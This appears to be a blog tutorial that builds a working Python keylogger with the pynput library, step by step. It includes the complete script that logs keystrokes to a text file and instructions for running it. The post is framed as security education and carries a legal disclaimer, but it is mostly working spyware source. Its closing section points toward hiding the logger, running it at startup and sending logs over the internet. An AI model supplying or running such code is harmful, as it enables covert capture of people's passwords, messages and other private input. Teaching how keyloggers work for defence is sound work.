Simple Python Keylogger: Build in Minutes (Under 50 Lines)

What if I told you that one of the most notorious tools in the cybersecurity underworld isn’t some arcane piece of elite code, but something you could build yourself in about 15 minutes with a Python library you can install in seconds?

It sounds like a stretch, but it’s true. And frankly, it’s a little terrifying.

But we’re not here to be terrified. We’re here to understand. The best way to learn how to defend your castle is to understand how the siege engine works. Today, we’re rolling up our sleeves and building a simple keylogger. Not for malicious purposes, but for the most important reason of all: to see how shockingly simple it is, so you’ll never underestimate the threat again. By the end of this, your main takeaway won’t just be a Python script; it will be a sharper, more critical eye for security.

The All-Important Disclaimer: Seriously, Read This.

Let’s get this out of the way immediately. This tutorial is for educational purposes ONLY. The script you build today should ONLY be run on a computer that you own and have explicit permission to test on. Using a keylogger on a machine you do not own is illegal, unethical, and will land you in a world of trouble. Our goal is to become better defenders, not to step over to the dark side. Be smart. Be ethical.

A symbolic representation of a safe coding sandbox for an ethical hacking project.

Setting Up Your Lab: All You Need is pip

The magic behind this project is a brilliant Python library called pynput. It’s a powerful tool that allows you to control and monitor input devices like your mouse and keyboard.

To get started, open your terminal or command prompt and install it using pip:

pip install pynput

That’s it. That’s all the setup you need. You have Python, and now you have the tool. Let’s talk about the game plan. A keylogger, at its core, does just three simple things:

  1. Listen for a key to be pressed.
  2. Identify which key it was.
  3. Record that key in a secret file.

It’s a simple loop of espionage, and we’re about to code it.

Let’s Get Coding: Building Your Keylogger Step-by-Step

Fire up your favorite code editor and create a new file. Let’s call it key_spy.py.

Step 1: Importing the Magic Wand

First things first, we need to import the keyboard module from the pynput library we just installed. This is what will give us access to the “listener” function.

from pynput import keyboard

Think of this line as grabbing the specialized microphone that can hear every keypress.

Step 2: The Listener Function (The “Ear”)

We need to define a function that will be executed every single time a key is pressed. This function is the heart of our logger. It takes one argument: the key that was just pressed.

For now, let’s just have it print the key to the console so we can see it working.

def keyPressed(key):
    print(str(key))

Simple, right? This function, keyPressed, is our designated “ear.” Whenever a key is pressed, the listener will catch it and hand it over to this function.

Step 3: Storing the Loot (Making it Permanent)

Printing to the console is cool for a test, but a real keylogger needs to save its findings. Let’s modify our function to write the keystrokes to a log file. We’ll use with open(...) because it’s a safer way to handle files in Python; it ensures the file is properly closed even if our program crashes.

def keyPressed(key):
    print(str(key))
    with open("keylog.txt", 'a') as logKey:
        try:
            char = key.char
            logKey.write(char)
        except AttributeError:
            print("Error getting char")

Whoa, what’s that try...except block doing? Great question! The pynput library treats regular character keys (like ‘a’, ‘b’, ‘c’) differently from special keys (like Shift, Ctrl, Spacebar).

  • If it’s a normal character, key.char works perfectly.
  • If it’s a special key, key.char doesn’t exist, and our program will crash with an AttributeError. The try...except block is our safety net. It tries to get the character, and if it fails, it just moves on. For a more advanced keylogger, you could add logic in the except block to handle special keys (like writing “[SPACE]” or “[ENTER]”), but for now, this keeps it clean.

Step 4: Putting It All Together (The Engine Room)

We have our function, but we haven’t actually told Python to start listening. That’s the final piece of the puzzle. We create a Listener object and tell it to use our keyPressed function as its callback. Then, we tell it to run forever.

Here is the final, complete script:

from pynput import keyboard

# This file will store all the keystrokes
log_file = "keylog.txt"

def keyPressed(key):
    # 'a' ensures that we append to the file, not overwrite it
    with open(log_file, 'a') as logKey:
        try:
            char = key.char
            logKey.write(char)
        except AttributeError:
            # For special keys, you can log them differently if you want
            # For example, log "[SPACE]" instead of just " "
            # We will ignore them for simplicity in this version
            print(f'Special key {key} pressed.')

# main listener block
if __name__ == "__main__":
    listener = keyboard.Listener(on_press=keyPressed)
    listener.start()
    input() # This will keep the script running

Wait, what’s input() for? The listener.start() function runs in a non-blocking thread. Without input(), the main script would finish instantly and the listener thread would be terminated. Adding input() at the end pauses the main script, allowing the listener to do its job in the background until you press Enter in the terminal where the script is running.

The Big Reveal: You Are Now a Ghost in the Machine

Save your key_spy.py file. Now, for the moment of truth.

  1. Open your terminal or command prompt.
  2. Navigate to the directory where you saved your file.
  3. Run the script: python key_spy.py

You won’t see much happen in the terminal, besides messages for special keys. But in the background, the listener is active. Go ahead and type a few sentences in a notepad or a browser search bar.

When you’re done, go back to the terminal and press Enter to stop the script.

Now, check the directory where your script is. You’ll find a new file: keylog.txt. Open it.

Every character you typed is there.

Take a second to let that sink in. With fewer than 20 lines of easily understandable Python code, you’ve created a functional keylogger. That is the “shockingly simple” truth of it. This is why you never, ever run a random Python script you find online without knowing exactly what it does.

Python Keylogger litening to keystrokes

From Builder to Defender

You did it. You built the siege engine. But more importantly, you now understand its blueprint. This simple script is the ancestor of sophisticated malware that steals passwords, financial information, and personal secrets every day.

But now you know. You know that a suspicious process running in the background could be a Python script just like this one. You know to look for strange text files with logged data. You’ve armed yourself with knowledge, and in cybersecurity, knowledge isn’t just power—it’s your best shield.

Your Turn to Think Like a Hacker

We’ve only scratched the surface. A real-world keylogger would need to be hidden, run on startup, and send the log file over the internet.

Now that you’ve seen how the basic recording mechanism works, what do you think would be the hardest part of turning this educational tool into a stealthy threat? Let me know your thoughts in the comments below!

Get the latest tech news and updatesethical hacking tutorials, and cybersecurity tips and tricks. Check out MeuSec for more.

Share your love

Leave a Reply

Your email address will not be published. Required fields are marked *